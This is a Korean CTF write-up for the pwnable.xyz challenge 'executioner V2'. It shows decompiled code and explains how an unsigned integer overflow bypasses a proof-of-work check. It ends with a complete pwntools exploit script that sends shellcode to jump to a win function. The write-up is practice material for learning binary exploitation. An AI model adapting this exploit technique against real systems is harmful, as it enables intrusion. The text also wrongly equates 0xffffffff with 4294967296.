Search

[pwnable.xyz] executioner V2

tag
writeup
pwn
Date
2022/01/10 14:09
Category
pwnable.xyz

1. 문제

1) mitigation 확인
초록
2) 문제 확인
형태는 v1과 동일하다.
3) 코드 확인
solve_pow() 함수
unsigned __int64 solve_pow() { unsigned int buf; // [rsp+8h] [rbp-18h] int v2; // [rsp+Ch] [rbp-14h] int v3; // [rsp+10h] [rbp-10h] int fd; // [rsp+14h] [rbp-Ch] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); fd = open("/dev/urandom", 0); if ( fd == -1 ) { puts("Can't open /dev/urandom"); exit(1); } buf = 0; read(fd, &buf, 4uLL); close(fd); v2 = 0; v3 = 0; printf("POW: x + y == 0x%x\n", buf); printf("> "); if ( (unsigned int)_isoc99_scanf("%u %u", &v2, &v3) != 2 || !v2 || !v3 ) { puts("error"); exit(1); } getchar(); if ( v3 + v2 != buf ) { puts("POW failed"); exit(1); } puts("Loading challenge... "); sleep(v2 * v3); return __readfsqword(0x28u) ^ v5; }
C
복사
이번에는 조건문이 추가되었다. v2와 v3가 0이면 안됀다는 것이다. 밑에 sleep(0) 으로 만들기 위해 v2 * v3 값을 0으로 만들어 줘야 한다.

2. 접근방법

우선 solve_pow()을 우회해야 한다. v2와 v3는 %u 포맷으로 들어가므로 unsigned int 형이다. 표현 범위는 0 ~ 0xffffffff 까지이다. 이를 넘어가면 다시 0으로 오버플로우가 되는데 우리는 이를 이용하면 된다. 0xffffffff은 10진수로 4294967296 이다. v2와 v3가 이 숫자의 배수가 되면 두 수의 곱은 0이 될 것이다.
4294967296 를 그대로 입력하면 0으로 들어가게 되므로 해당 숫자를 2로 나눈 값을 이용해야 한다. 2147483648 에다가 짝수를 곱하면 이는 4294967296 의 배수가 되기 때문에 다음과 같이 v2, v3를 설정하면 된다. 단 방금 말했듯이 buf가 짝수여야만 가능하다!
v2 = 2147483648
v3 = buf - 2147483648
이렇게 되면 v2 + v3 = buf 를 만족하면서, 2147483648 * 짝수 이기 때문에 v2*v3은 0이 된다.
그다음 이제 쉘코드를 작성해야 한다.
version 1 문제와 동일하게 strlen을 0으로 만들기 위해 첫 바이트를 널바이트로 넣어준다. 그다음, 적절한 값을 넣어서 에러가 나지 않게 한다. 나는 디버깅을 통해 "\x00"+"BB" 요렇게 첫 3바이트를 넣어주었다.
메인에서 대부분의 레지스터들을 xor 연산으로 초기화 시켜주는 로직이 있다. 현재 메인에서 입력 가능한 크기는 총 0x10이다. 이미 3바이트를 사용했기 때문에 13바이트가 사용 가능하다. syscall_read를 한번더 호출하여 입력할수 있는 사이즈를 크게 한뒤, execve 호출 혹은, flag 파일을 open하여 read한뒤, 다시 write하는 방법이 있다.
또다른 방법으로는 현재 쉘코드가 " call rdx " 로 실행이되는데 이때 다음 실행될 코드 주소를 스택에 push를 한다. 이를 이용해서 아무 레지스터에 pop 명령어로 박은다음, 해당 주소와 win 함수주소의 offset을 이용하여 win을 호출하는 방법이 존재한다.

3. 풀이

" call rdx " 가 시작되는 첫 부분이다. 현재 스택에 코드주소에서 0x2ce offset 만큼 떨어진 곳에 win함수가 있기 때문에 rax에 rsp 값을 저장한다음, 거기서 0x2ce를 빼준다음 jmp하면 끝이다
최종 익스코드는 다음과 같다
from pwn import * #p=remote("svc.pwnable.xyz",30028) context(log_level="DEBUG",arch="amd64",os="linux") p=process("./challenge") gdb.attach(p,'code\nb *0xE72+$code\n') p.recvuntil("== ") buf=int(p.recvuntil("\n")[:-1],16) if buf%2 ==0: log.info("!!!!!!!!!!!!!!!!!!!!!!!!!!") tmp=2147483648 tmp2=buf-tmp p.sendlineafter("> ",str(tmp)+' '+str(tmp2)) else: pause() payload="\x00"+"BB" shell="pop rax;" shell+="sub rax,0x2CE;" shell+="jmp rax;" shell=asm(shell) #sleep(2) p.recvuntil("Input: ") pause() p.sendline(payload+shell) pause() p.interactive()
Python
복사

4. 몰랐던 개념

none